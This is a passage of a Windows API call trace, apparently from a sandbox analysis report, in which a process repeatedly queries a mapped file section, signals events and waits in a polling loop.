NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.556] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.556] ResetEvent (hEvent=0xdc) returned 1 [0093.556] SetEvent (hEvent=0xe0) returned 1 [0093.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.557] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.557] ResetEvent (hEvent=0xdc) returned 1 [0093.557] SetEvent (hEvent=0xe0) returned 1 [0093.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.558] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.558] ResetEvent (hEvent=0xdc) returned 1 [0093.558] SetEvent (hEvent=0xe0) returned 1 [0093.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.559] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.559] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.559] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.559] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.559] ResetEvent (hEvent=0xdc) returned 1 [0093.559] SetEvent (hEvent=0xe0) returned 1 [0093.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.560] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.560] ResetEvent (hEvent=0xdc) returned 1 [0093.560] SetEvent (hEvent=0xe0) returned 1 [0093.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.562] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.562] ResetEvent (hEvent=0xdc) returned 1 [0093.562] SetEvent (hEvent=0xe0) returned 1 [0093.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.563] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.563] ResetEvent (hEvent=0xdc) returned 1 [0093.563] SetEvent (hEvent=0xe0) returned 1 [0093.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.564] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.564] ResetEvent (hEvent=0xdc) returned 1 [0093.564] SetEvent (hEvent=0xe0) returned 1 [0093.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.565] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.565] ResetEvent (hEvent=0xdc) returned 1 [0093.565] SetEvent (hEvent=0xe0) returned 1 [0093.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.566] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.566] ResetEvent (hEvent=0xdc) returned 1 [0093.566] SetEvent (hEvent=0xe0) returned 1 [0093.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.567] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.567] ResetEvent (hEvent=0xdc) returned 1 [0093.567] SetEvent (hEvent=0xe0) returned 1 [0093.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.568] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.568] ResetEvent (hEvent=0xdc) returned 1 [0093.568] SetEvent (hEvent=0xe0) returned 1 [0093.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.569] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.569] ResetEvent (hEvent=0xdc) returned 1 [0093.569] SetEvent (hEvent=0xe0) returned 1 [0093.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.570] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.570] ResetEvent (hEvent=0xdc) returned 1 [0093.570] SetEvent (hEvent=0xe0) returned 1 [0093.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.571] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.571] ResetEvent (hEvent=0xdc) returned 1 [0093.571] SetEvent (hEvent=0xe0) returned 1 [0093.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.572] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.572] ResetEvent (hEvent=0xdc) returned 1 [0093.572] SetEvent (hEvent=0xe0) returned 1 [0093.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.573] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.573] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.573] ResetEvent (hEvent=0xdc) returned 1 [0093.573] SetEvent (hEvent=0xe0) returned 1 [0093.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.574] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.574] ResetEvent (hEvent=0xdc) returned 1 [0093.574] SetEvent (hEvent=0xe0) returned 1 [0093.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.575] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.575] ResetEvent (hEvent=0xdc) returned 1 [0093.576] SetEvent (hEvent=0xe0) returned 1 [0093.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.577] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.577] ResetEvent (hEvent=0xdc) returned 1 [0093.577] SetEvent (hEvent=0xe0) returned 1 [0093.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.578] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.578] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.578] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.578] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.578] ResetEvent (hEvent=0xdc) returned 1 [0093.578] SetEvent (hEvent=0xe0) returned 1 [0093.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.579] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.579] ResetEvent (hEvent=0xdc) returned 1 [0093.579] SetEvent (hEvent=0xe0) returned 1 [0093.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.580] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.580] ResetEvent (hEvent=0xdc) returned 1 [0093.580] SetEvent (hEvent=0xe0) returned 1 [0093.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.581] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.581] ResetEvent (hEvent=0xdc) returned 1 [0093.581] SetEvent (hEvent=0xe0) returned 1 [0093.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.582] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.582] ResetEvent (hEvent=0xdc) returned 1 [0093.582] SetEvent (hEvent=0xe0) returned 1 [0093.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.583] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.583] ResetEvent (hEvent=0xdc) returned 1 [0093.583] SetEvent (hEvent=0xe0) returned 1 [0093.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.584] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.584] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.584] ResetEvent (hEvent=0xdc) returned 1 [0093.584] SetEvent (hEvent=0xe0) returned 1 [0093.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.585] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.585] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.585] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.585] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.585] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.585] ResetEvent (hEvent=0xdc) returned 1 [0093.586] SetEvent (hEvent=0xe0) returned 1 [0093.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.586] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.587] ResetEvent (hEvent=0xdc) returned 1 [0093.587] SetEvent (hEvent=0xe0) returned 1 [0093.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.587] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.587] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.588] ResetEvent (hEvent=0xdc) returned 1 [0093.588] SetEvent (hEvent=0xe0) returned 1 [0093.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.588] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.589] ResetEvent (hEvent=0xdc) returned 1 [0093.589] SetEvent (hEvent=0xe0) returned 1 [0093.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.590] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.590] ResetEvent (hEvent=0xdc) returned 1 [0093.590] SetEvent (hEvent=0xe0) returned 1 [0093.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.591] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.591] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.591] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.591] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.591] ResetEvent (hEvent=0xdc) returned 1 [0093.591] SetEvent (hEvent=0xe0) returned 1 [0093.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.591] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.592] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.592] ResetEvent (hEvent=0xdc) returned 1 [0093.592] SetEvent (hEvent=0xe0) returned 1 [0093.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.593] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.593] ResetEvent (hEvent=0xdc) returned 1 [0093.593] SetEvent (hEvent=0xe0) returned 1 [0093.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.594] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.594] ResetEvent (hEvent=0xdc) returned 1 [0093.594] SetEvent (hEvent=0xe0) returned 1 [0093.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.595] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.595] ResetEvent (hEvent=0xdc) returned 1 [0093.595] SetEvent (hEvent=0xe0) returned 1 [0093.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.596] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.596] ResetEvent (hEvent=0xdc) returned 1 [0093.596] SetEvent (hEvent=0xe0) returned 1 [0093.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.597] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, 